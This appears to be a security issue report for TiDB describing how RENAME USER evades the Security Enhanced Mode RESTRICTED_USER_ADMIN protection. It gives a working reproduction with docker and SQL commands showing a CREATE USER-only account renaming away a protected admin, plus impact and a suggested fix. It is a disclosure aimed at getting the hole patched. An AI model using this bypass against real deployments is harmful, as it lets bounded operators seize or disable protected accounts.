RENAME USER bypasses SEM RESTRICTED_USER_ADMIN protection on protected accounts
- Dominant language
- Go
- Stars
- 40.5k
- Forks
- 6.2k
- PR merge metrics
- PR metrics pending
Description
reported via email on 18 July 2026:
TiDB's Security Enhanced Mode (SEM) added a `RESTRICTED_USER_ADMIN` protection in PR #64297
(merged to master 2025-11-17, backported to release-6.5/7.1/7.5/8.1/8.5 in March 2026) so that an
account holding `SUPER` cannot delete, alter, set the password of, grant to, or revoke from an
account that itself holds `RESTRICTED_USER_ADMIN`. That fix touched `DROP USER`, `ALTER USER`,
`SET PASSWORD`, `GRANT`, `GRANT ROLE`, `REVOKE`, and `REVOKE ROLE` in
`pkg/planner/core/planbuilder.go`, each calling the helper `appendVisitInfoIsRestrictedUser()`.
`RENAME USER` (`ast.RenameUserStmt`), handled a few lines above in the same switch statement, was
not given the same call, and its executor (`executeRenameUser` in `pkg/executor/simple.go`) has no
independent check either. It only requires the ordinary `CREATE USER` static privilege.
Because `executeRenameUser` implements the rename as in-place `UPDATE ... SET User=?, Host=?`
statements against `mysql.user` and every related privilege table (`mysql.global_priv`,
`mysql.db`, `mysql.tables_priv`, `mysql.columns_priv`, `mysql.role_edges`, `mysql.default_roles`,
`mysql.password_history`, `mysql.global_grants`), all of the target's privileges travel with the
rename, including `RESTRICTED_USER_ADMIN` and `SUPER` themselves. The account is not deleted or
weakened in the mysql.* tables, it simply stops existing under its original, protected username.
I confirmed this live against the official `pingcap/tidb:v8.5.7` image (the current stable
release, released 2026-07-09), run standalone with `--store=unistore` and
`security.enable-sem=true`, and confirmed the same code path is unchanged on current master.
Setup (SEM temporarily off, to let root grant RESTRICTED_USER_ADMIN once):
docker run -d --name tidb-setup -p 4000:4000 -v "$PWD/data:/tmp/tidb" \
pingcap/tidb:v8.5.7 --store=unistore --path=/tmp/tidb
mysql -h127.0.0.1 -P4000 -uroot -e "
CREATE USER 'restricted_admin'@'%' IDENTIFIED BY 'AdminPass123!';
GRANT SUPER ON *.* TO 'restricted_admin'@'%';
GRANT RESTRICTED_USER_ADMIN ON *.* TO 'restricted_admin'@'%';
CREATE USER 'operator'@'%' IDENTIFIED BY 'OperatorPass123!';
GRANT CREATE USER ON *.* TO 'operator'@'%';
"
docker rm -f tidb-setup
Restart the same data directory with SEM enabled (tidb.toml contains `[security]\nenable-sem =
true`), as it would run in a SEM-enabled deployment:
docker run -d --name tidb-sem -p 4000:4000 -v "$PWD/data:/tmp/tidb" \
-v "$PWD/tidb.toml:/tidb.toml" \
pingcap/tidb:v8.5.7 --store=unistore --path=/tmp/tidb --config=/tidb.toml
As `operator` (holds only `CREATE USER`, no `SUPER`, no `RESTRICTED_USER_ADMIN`):
$ mysql -h127.0.0.1 -P4000 -uoperator -pOperatorPass123!
mysql> DROP USER 'restricted_admin'@'%';
ERROR 1227 (42000): Access denied; you need (at least one of) the RESTRICTED_USER_ADMIN privilege(s) for this operation
mysql> ALTER USER 'restricted_admin'@'%' IDENTIFIED BY 'Hacked123!';
ERROR 1227 (42000): Access denied; you need (at least one of) the SYSTEM_USER or SUPER privilege(s) for this operation
mysql> RENAME USER 'restricted_admin'@'%' TO 'restricted_admin_pwned'@'%';
Query OK, 0 rows affected
Verified as root that the rename succeeded and all privileges, including `SUPER` and
`RESTRICTED_USER_ADMIN`, moved with it:
mysql> SELECT user, host FROM mysql.user WHERE user LIKE 'restricted_admin%';
+------------------------+------+
| user | host |
+------------------------+------+
| restricted_admin_pwned | % |
+------------------------+------+
mysql> SHOW GRANTS FOR 'restricted_admin_pwned'@'%';
+----------------------------------------------------------------------+
| GRANT SUPER ON *.* TO 'restricted_admin_pwned'@'%' |
| GRANT RESTRICTED_USER_ADMIN ON *.* TO 'restricted_admin_pwned'@'%' |
+----------------------------------------------------------------------+
Impact: an account holding only `CREATE USER` under SEM (the exact class of "trusted operator with
elevated but bounded privilege" SEM is designed to constrain) can rename away a
`RESTRICTED_USER_ADMIN`-protected account, immediately breaking anything that authenticates under
its known username (availability), and can then `CREATE USER` a new account under the vacated,
trusted name (integrity/identity-squatting), while the moment before, the same caller was
correctly denied on `DROP USER`, `ALTER USER`, and `SET PASSWORD` against the identical target.
This defeats the specific operator/customer trust boundary PR #64297 introduced, for the one
statement type its own test coverage does not exercise.
Suggested fix: add the same `appendVisitInfoIsRestrictedUser(b.visitInfo, b.ctx, user, "RESTRICTED_USER_ADMIN")`
call (for both the old and new user identity) to the `case *ast.RenameUserStmt` branch in
`pkg/planner/core/planbuilder.go`, matching the pattern already used for `DropUserStmt`,
`SetPwdStmt`, and the `GrantStmt`/`RevokeStmt` user lists.
Contributor guide
Assessment
This issue has not been assessed yet.